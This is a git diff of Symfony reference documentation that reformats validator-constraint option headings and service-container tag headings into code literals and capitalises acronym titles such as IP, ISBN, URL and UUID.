@@ -345,8 +345,8 @@ If this option is true, the image contents are validated to ensure that the
 image is not corrupted. This validation is done with PHP's :phpfunction:`imagecreatefromstring`
 function, which requires the `PHP GD extension`_ to be enabled.
 
-sizeNotDetectedMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``sizeNotDetectedMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The size of the image could not be detected.``
 
@@ -356,8 +356,8 @@ options has been set.
 
 This message has no parameters.
 
-maxWidthMessage
-~~~~~~~~~~~~~~~
+``maxWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too big ({{ width }}px).
 Allowed maximum width is {{ max_width }}px.``
@@ -374,8 +374,8 @@ You can use the following parameters in this message:
 | ``{{ max_width }}`` | The maximum allowed width   |
 +---------------------+-----------------------------+
 
-minWidthMessage
-~~~~~~~~~~~~~~~
+``minWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too small ({{ width }}px).
 Minimum width expected is {{ min_width }}px.``
@@ -392,8 +392,8 @@ You can use the following parameters in this message:
 | ``{{ min_width }}`` | The minimum required width  |
 +---------------------+-----------------------------+
 
-maxHeightMessage
-~~~~~~~~~~~~~~~~
+``maxHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too big ({{ height }}px).
 Allowed maximum height is {{ max_height }}px.``
@@ -410,8 +410,8 @@ You can use the following parameters in this message:
 | ``{{ max_height }}`` | The maximum allowed height   |
 +----------------------+------------------------------+
 
-minHeightMessage
-~~~~~~~~~~~~~~~~
+``minHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too small ({{ height }}px).
 Minimum height expected is {{ min_height }}px.``
@@ -428,8 +428,8 @@ You can use the following parameters in this message:
 | ``{{ min_height }}`` | The minimum required height  |
 +----------------------+------------------------------+
 
-maxPixelsMessage
-~~~~~~~~~~~~~~~~
+``maxPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 3.4
 
@@ -454,8 +454,8 @@ You can use the following parameters in this message:
 | ``{{ width }}``      | The current image width               |
 +----------------------+---------------------------------------+
 
-minPixelsMessage
-~~~~~~~~~~~~~~~~
+``minPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 3.4
 
@@ -480,8 +480,8 @@ You can use the following parameters in this message:
 | ``{{ width }}``      | The current image width               |
 +----------------------+---------------------------------------+
 
-maxRatioMessage
-~~~~~~~~~~~~~~~
+``maxRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}).
 Allowed maximum ratio is {{ max_ratio }}``
@@ -498,8 +498,8 @@ You can use the following parameters in this message:
 | ``{{ max_ratio }}`` | The maximum allowed ratio   |
 +---------------------+-----------------------------+
 
-minRatioMessage
-~~~~~~~~~~~~~~~
+``minRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}).
 Minimum ratio expected is {{ min_ratio }}``
@@ -516,8 +516,8 @@ You can use the following parameters in this message:
 | ``{{ min_ratio }}`` | The minimum required ratio  |
 +---------------------+-----------------------------+
 
-allowSquareMessage
-~~~~~~~~~~~~~~~~~~
+``allowSquareMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px).
 Square images are not allowed``
@@ -534,8 +534,8 @@ You can use the following parameters in this message:
 | ``{{ height }}`` | The current height |
 +------------------+--------------------+
 
-allowLandscapeMessage
-~~~~~~~~~~~~~~~~~~~~~
+``allowLandscapeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px).
 Landscape oriented images are not allowed``
@@ -552,8 +552,8 @@ You can use the following parameters in this message:
 | ``{{ height }}`` | The current height |
 +------------------+--------------------+
 
-allowPortraitMessage
-~~~~~~~~~~~~~~~~~~~~
+``allowPortraitMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px).
 Portrait oriented images are not allowed``
@@ -570,8 +570,8 @@ You can use the following parameters in this message:
 | ``{{ height }}`` | The current height |
 +------------------+--------------------+
 
-corruptedMessage
-~~~~~~~~~~~~~~~~
+``corruptedMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image file is corrupted.``
 
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 2db8fca81bd..27ed0bd4256 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -1,4 +1,4 @@
-Ip
+IP
 ==
 
 Validates that a value is a valid IP address. By default, this will validate
@@ -82,8 +82,8 @@ Basic Usage
 Options
 -------
 
-version
-~~~~~~~
+``version``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``4``
 
@@ -128,8 +128,8 @@ of a variety of different values:
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid IP address.``
 
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index ceac8598252..c8c8b2f673c 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -115,8 +115,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be false.``
 
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 0948aa56ca5..fe293b76849 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -86,8 +86,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be null.``
 
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 6ffeda1686e..b6beb8115d1 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -119,8 +119,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be true.``
 
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 2d4b68addc7..7cb6bde4eef 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -1,4 +1,4 @@
-Isbn
+ISBN
 ====
 
 This constraint validates that an `International Standard Book Number (ISBN)`_
@@ -95,11 +95,11 @@ on an object that will contain an ISBN.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
-Available Options
------------------
+Options
+-------
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -108,8 +108,8 @@ and ``null`` to accept any kind of ISBN.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -124,8 +124,8 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-isbn10Message
-~~~~~~~~~~~~~
+``isbn10Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-10.``
 
@@ -140,8 +140,8 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-isbn13Message
-~~~~~~~~~~~~~
+``isbn13Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-13.``
 
@@ -156,8 +156,8 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-bothIsbnMessage
-~~~~~~~~~~~~~~~
+``bothIsbnMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.``
 
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index b252ec24106..a27142e9c71 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -1,4 +1,4 @@
-Issn
+ISSN
 ====
 
 Validates that a value is a valid
@@ -84,8 +84,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` default: ``This value is not a valid ISSN.``
 
@@ -99,16 +99,16 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-caseSensitive
-~~~~~~~~~~~~~
+``caseSensitive``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
 The validator will allow ISSN values to end with a lower case 'x' by default.
 When switching this to ``true``, the validator requires an upper case 'X'.
 
-requireHyphen
-~~~~~~~~~~~~~
+``requireHyphen``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index f06918e4cf6..d4d1fd3164f 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -82,8 +82,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid language.``
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 34da26d5b09..46c23b0c8e1 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -117,8 +117,8 @@ and "50", you might add the following:
 Options
 -------
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -131,8 +131,8 @@ It is important to notice that NULL values and empty strings are considered
 valid no matter if the constraint required a minimum length. Validators
 are triggered only if the value is not blank.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -141,8 +141,8 @@ the given value's length is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string``  **default**: ``UTF-8``
 
@@ -150,8 +150,8 @@ The charset to be used when computing value's length with the
 :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
 PHP functions.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.``
 
@@ -168,8 +168,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}`` | The expected minimum length |
 +-----------------+-----------------------------+
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.``
 
@@ -186,8 +186,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}`` | The expected maximum length |
 +-----------------+-----------------------------+
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should have exactly {{ limit }} characters.``
 
@@ -204,8 +204,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}`` | The exact expected length   |
 +-----------------+-----------------------------+
 
-charsetMessage
-~~~~~~~~~~~~~~
+``charsetMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.``
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index f0b38f6c3b4..eec7a7054d5 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -293,8 +293,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be less than {{ compared_value }}.``
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 241ca8fc7b6..ccaadb824d2 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -292,8 +292,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be less than or equal to {{ compared_value }}.``
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index bb56a9ba6f1..a4c5f1fce63 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -86,8 +86,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid locale.``
 
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 9db926b76ce..a3dfcb1bc0a 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -88,13 +88,13 @@ will contain a credit card number.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
-Available Options
------------------
+Options
+-------
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Invalid card number.``
 
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 5c94706f1aa..37cc7ae86a7 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -90,8 +90,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should not be blank.``
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 590778229af..619dfb02e8e 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -116,8 +116,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should not be equal to {{ compared_value }}.``
 
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index f53e4fceb1c..c1db74a349f 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -117,8 +117,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should not be identical to {{ compared_value_type }} {{ compared_value }}.``
 
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index b5e743fb873..ee8e07cef46 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -84,8 +84,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should not be null.``
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 25cdb46f294..1c3100c9db9 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -318,24 +318,24 @@ can check that a delivery date starts within the next five hours like this:
 Options
 -------
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "min" value. Validation will fail if the given
 value is **less** than this min value.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "max" value. Validation will fail if the given
 value is **greater** than this max value.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
@@ -352,8 +352,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}`` | The lower limit             |
 +-----------------+-----------------------------+
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
@@ -370,8 +370,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}`` | The upper limit             |
 +-----------------+-----------------------------+
 
-invalidMessage
-~~~~~~~~~~~~~~
+``invalidMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 8808ce51a96..b94b514d6d3 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -167,8 +167,8 @@ it a custom message:
 Options
 -------
 
-pattern
-~~~~~~~
+``pattern``
+~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -180,8 +180,8 @@ fail if the input string *does* match this pattern.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-htmlPattern
-~~~~~~~~~~~
+``htmlPattern``
+~~~~~~~~~~~~~~~
 
 **type**: ``string|boolean`` **default**: null
 
@@ -265,8 +265,8 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 Setting ``htmlPattern`` to false will disable client side validation.
 
-match
-~~~~~
+``match``
+~~~~~~~~~
 
 **type**: ``boolean`` default: ``true``
 
@@ -275,8 +275,8 @@ the given `pattern`_ regular expression. However, when this option is set
 to ``false``, the opposite will occur: validation will pass only if the
 given string does **not** match the `pattern`_ regular expression.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index d044527463b..764a29c65f5 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -86,8 +86,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid time.``
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 2e3bdb27611..fbc1e6fc6d4 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -127,8 +127,8 @@ Options
 
 .. _reference-constraint-type-type:
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -172,8 +172,8 @@ using one of these.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be of type {{ type }}.``
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 37a7f675047..e229fb6447d 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -123,8 +123,8 @@ that the ``email`` field remains unique between all of the rows in your user tab
 Options
 -------
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -140,8 +140,8 @@ each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is already used.``
 
@@ -162,8 +162,8 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-em
-~~
+``em``
+~~~~~~
 
 **type**: ``string``
 
@@ -172,8 +172,8 @@ the uniqueness. If it's left blank, the correct entity manager will be
 determined for this class. For that reason, this option should probably
 not need to be used.
 
-repositoryMethod
-~~~~~~~~~~~~~~~~
+``repositoryMethod``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``findBy``
 
@@ -183,8 +183,8 @@ blank, ``findBy()`` will be used. The method receives as its argument a
 fields configured in the ``fields`` option). The method should return a
 `countable PHP variable`_.
 
-entityClass
-~~~~~~~~~~~
+``entityClass``
+~~~~~~~~~~~~~~~
 
 .. versionadded:: 3.2
 
@@ -198,8 +198,8 @@ inheritance mapping, you need to execute the query in a different repository.
 Use this option to define the fully-qualified class name (FQCN) of the Doctrine
 entity associated with the repository you want to use.
 
-errorPath
-~~~~~~~~~
+``errorPath``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: The name of the first field in `fields`_
 
@@ -296,8 +296,8 @@ Consider this example:
 
 Now, the message would be bound to the ``port`` field with this configuration.
 
-ignoreNull
-~~~~~~~~~~
+``ignoreNull``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 7992ba93a4d..0dfaa782a7a 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -1,4 +1,4 @@
-Url
+URL
 ===
 
 Validates that a value is a valid URL string.
@@ -84,8 +84,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid URL.``
 
@@ -162,8 +162,8 @@ You can use the following parameters in this message:
             }
         }
 
-protocols
-~~~~~~~~~
+``protocols``
+~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``['http', 'https']``
 
@@ -239,8 +239,8 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-checkDNS
-~~~~~~~~
+``checkDNS``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -314,8 +314,8 @@ option to the value of any of the ``CHECK_DNS_TYPE_*`` constants in the
 This option uses the :phpfunction:`checkdnsrr` PHP function to check the validity
 of the DNS record corresponding to the host associated with the given URL.
 
-dnsMessage
-~~~~~~~~~~
+``dnsMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The host could not be resolved.``
 
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 7ebdda483f3..310e46d5192 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -103,8 +103,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``message`` **default**: ``This value should be the user current password.``
 
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index f961beb9ac8..a1796a33373 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -1,4 +1,4 @@
-Uuid
+UUID
 ====
 
 Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_.
@@ -86,8 +86,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid UUID.``
 
@@ -101,8 +101,8 @@ You can use the following parameters in this message:
 | ``{{ value }}`` | The current (invalid) value |
 +-----------------+-----------------------------+
 
-strict
-~~~~~~
+``strict``
+~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -114,8 +114,8 @@ will allow alternate input formats like:
 * ``{216fff40-98d9-11e3-a5e2-0800200c9a66}``
 * ``216fff4098d911e3a5e20800200c9a66``
 
-versions
-~~~~~~~~
+``versions``
+~~~~~~~~~~~~
 
 **type**: ``int[]`` **default**: ``[1,2,3,4,5]``
 
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 5ccc42bdb29..87c87faf51c 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -248,8 +248,8 @@ the validation of the ``Address`` fields failed.
 Options
 -------
 
-traverse
-~~~~~~~~
+``traverse``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/_comparison-propertypath-option.rst.inc b/reference/constraints/_comparison-propertypath-option.rst.inc
index a2acc52ef5c..f1dac752528 100644
--- a/reference/constraints/_comparison-propertypath-option.rst.inc
+++ b/reference/constraints/_comparison-propertypath-option.rst.inc
@@ -1,5 +1,5 @@
-propertyPath
-~~~~~~~~~~~~
+``propertyPath``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
diff --git a/reference/constraints/_comparison-value-option.rst.inc b/reference/constraints/_comparison-value-option.rst.inc
index cb7e07045a5..b587e46ffef 100644
--- a/reference/constraints/_comparison-value-option.rst.inc
+++ b/reference/constraints/_comparison-value-option.rst.inc
@@ -1,5 +1,5 @@
-value
-~~~~~
+``value``
+~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc
index f385b060477..0de5e2046b5 100644
--- a/reference/constraints/_groups-option.rst.inc
+++ b/reference/constraints/_groups-option.rst.inc
@@ -1,5 +1,5 @@
-groups
-~~~~~~
+``groups``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string``
 
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index 433fa39eae7..5121ba1ae51 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,5 +1,5 @@
-payload
-~~~~~~~
+``payload``
+~~~~~~~~~~~
 
 **type**: ``mixed`` **default**: ``null``
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 35a44883808..ab05b98a7be 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -54,13 +54,13 @@ Tag Name                                  Usage
 `validator.initializer`_                  Register a service that initializes objects before validation
 ========================================  ========================================================================
 
-assetic.asset
--------------
+``assetic.asset``
+-----------------
 
 **Purpose**: Register an asset with the current asset manager
 
-assetic.factory_worker
-----------------------
+``assetic.factory_worker``
+--------------------------
 
 **Purpose**: Add a factory worker
 
@@ -116,8 +116,8 @@ And then register it as a tagged service:
             ->addTag('assetic.factory_worker')
         ;
 
-assetic.filter
---------------
+``assetic.filter``
+------------------
 
 **Purpose**: Register a filter
 
@@ -194,8 +194,8 @@ In order to do that, you must define your filter service in a separate xml
 config file and point to this file's path via the ``assetic.filters.my_filter.resource``
 configuration key.
 
-assetic.formula_loader
-----------------------
+``assetic.formula_loader``
+--------------------------
 
 **Purpose**: Add a formula loader to the current asset manager
 
@@ -206,32 +206,32 @@ instance, twig template). Assetic ships loaders for PHP and Twig templates.
 
 An ``alias`` attribute defines the name of the loader.
 
-assetic.formula_resource
-------------------------
+``assetic.formula_resource``
+----------------------------
 
 **Purpose**: Adds a resource to the current asset manager
 
 A resource is something formulae can be loaded from. For instance, Twig
 templates are resources.
 
-assetic.templating.php
-----------------------
+``assetic.templating.php``
+--------------------------
 
 **Purpose**: Remove this service if PHP templating is disabled
 
 The tagged service will be removed from the container if the
-``framework.templating.engines`` config section does not contain php.
+``framework.templating.engines`` config section does not contain PHP.
 
-assetic.templating.twig
------------------------
+``assetic.templating.twig``
+---------------------------
 
 **Purpose**: Remove this service if Twig templating is disabled
 
 The tagged service will be removed from the container if
 ``framework.templating.engines`` config section does not contain ``twig``.
 
-auto_alias
-----------
+``auto_alias``
+--------------
 
 **Purpose**: Define aliases based on the value of container parameters
 
@@ -355,16 +355,16 @@ wrapping their names with ``%`` characters).
     You need to manually add the ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass``
     compiler pass to the container for this feature to work.
 
-console.command
----------------
+``console.command``
+-------------------
 
 **Purpose**: Add a command to the application
 
 For details on registering your own commands in the service container, read
 :doc:`/console/commands_as_services`.
 
-container.hot_path
-------------------
+``container.hot_path``
+----------------------
 
 .. versionadded:: 3.4
 
@@ -384,8 +384,8 @@ for services and their class hierarchy. The result is as significant performance
 
 Use this tag with great caution, you have to be sure that the tagged service is always used.
 
-controller.argument_value_resolver
-----------------------------------
+``controller.argument_value_resolver``
+--------------------------------------
 
 **Purpose**: Register a value resolver for controller arguments such as ``Request``
 
@@ -394,24 +394,24 @@ Value resolvers implement the
 and are used to resolve argument values for controllers as described here:
 :doc:`/controller/argument_value_resolver`.
 
-data_collector
---------------
+``data_collector``
+------------------
 
 **Purpose**: Create a class that collects custom data for the profiler
 
 For details on creating your own custom data collection, read the
 :doc:`/profiler/data_collector` article.
 
-doctrine.event_listener
------------------------
+``doctrine.event_listener``
+---------------------------
 
 **Purpose**: Add a Doctrine event listener
 
 For details on creating Doctrine event listeners, read the
 :doc:`/doctrine/event_listeners_subscribers` article.
 
-doctrine.event_subscriber
--------------------------
+``doctrine.event_subscriber``
+-----------------------------
 
 **Purpose**: Add a Doctrine event subscriber
 
@@ -420,16 +420,16 @@ For details on creating Doctrine event subscribers, read the
 
 .. _dic-tags-form-type:
 
-form.type
----------
+``form.type``
+-------------
 
 **Purpose**: Create a custom form field type
 
 For details on creating your own custom form type, read the
 :doc:`/form/create_custom_field_type` article.
 
-form.type_extension
--------------------
+``form.type_extension``
+-----------------------
 
 **Purpose**: Create a custom "form extension"
 
@@ -438,8 +438,8 @@ For details on creating Form type extensions, read the
 
 .. _reference-dic-type_guesser:
 
-form.type_guesser
------------------
+``form.type_guesser``
+---------------------
 
 **Purpose**: Add your own logic for "form type guessing"
 
